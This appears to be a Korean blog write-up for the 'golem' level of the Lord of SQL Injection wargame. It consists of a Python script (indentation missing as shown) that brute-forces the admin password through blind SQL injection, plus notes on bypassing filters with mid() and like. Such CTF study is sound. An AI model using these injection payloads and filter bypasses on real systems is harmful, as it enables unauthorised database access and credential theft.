import requests
requests.packages.urllib3.disable_warnings()
org_url = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php"
header = {'Cookie': 'PHPSESSID='}
session = requests.session()
# Check Length of PW
for i in range(0, 100):
payload = "?pw=ABCD' || id like 'admin' %26%26 length(pw) like " + "'" + str(i)
res = session.get(url = org_url + payload, headers=header, verify=False)
if "Hello admin" in res.text:
print("Length of PW is [ %d ]\n" % i)
break
# Brute Force
password = ''
for i in range(1, 9):
for j in range(33, 122):
payload = "?pw=ABCD' || id like 'admin' %26%26 mid(pw," + str(i) + ", 1) like " + "'" + chr(j)
res = session.get(url = org_url + payload, headers = header, verify=False)
if "Hello admin" in res.text:
password += chr(j)
print("Current PW is [ %s ]\n" % password)
break
# Result
print("\n\nPW --> %s\n" % password)
substr() 함수와 '=' 문자열을 필터링하는 문제이다.
substr() 함수 우회법은
mid(), right(), left() 함수가 있다.
mid() 함수는 substr() 함수와 동일한 역할이며, right() 과 left() 는 문자열의 최우측, 최좌측 문자열을 return 한다.
'=' 문자열을 우회하는 방법은
like 연산자, in 연산자, instr() 함수, 부등호(>, <) 의 방법 등이 있다.
'Web Hacking > LOS' 카테고리의 다른 글
Lord of SQL Injection - bugbear (0) | 2021.08.16 |
---|---|
Lord of SQL Injection(LOS) - darkknight (0) | 2021.08.16 |
Lord of SQL Injection(LOS) - skeleton (0) | 2021.08.07 |
Lord of SQL Injection(LOS) - vampire (0) | 2021.08.07 |
Lord of SQL Injection(LOS) - troll (1) | 2021.08.07 |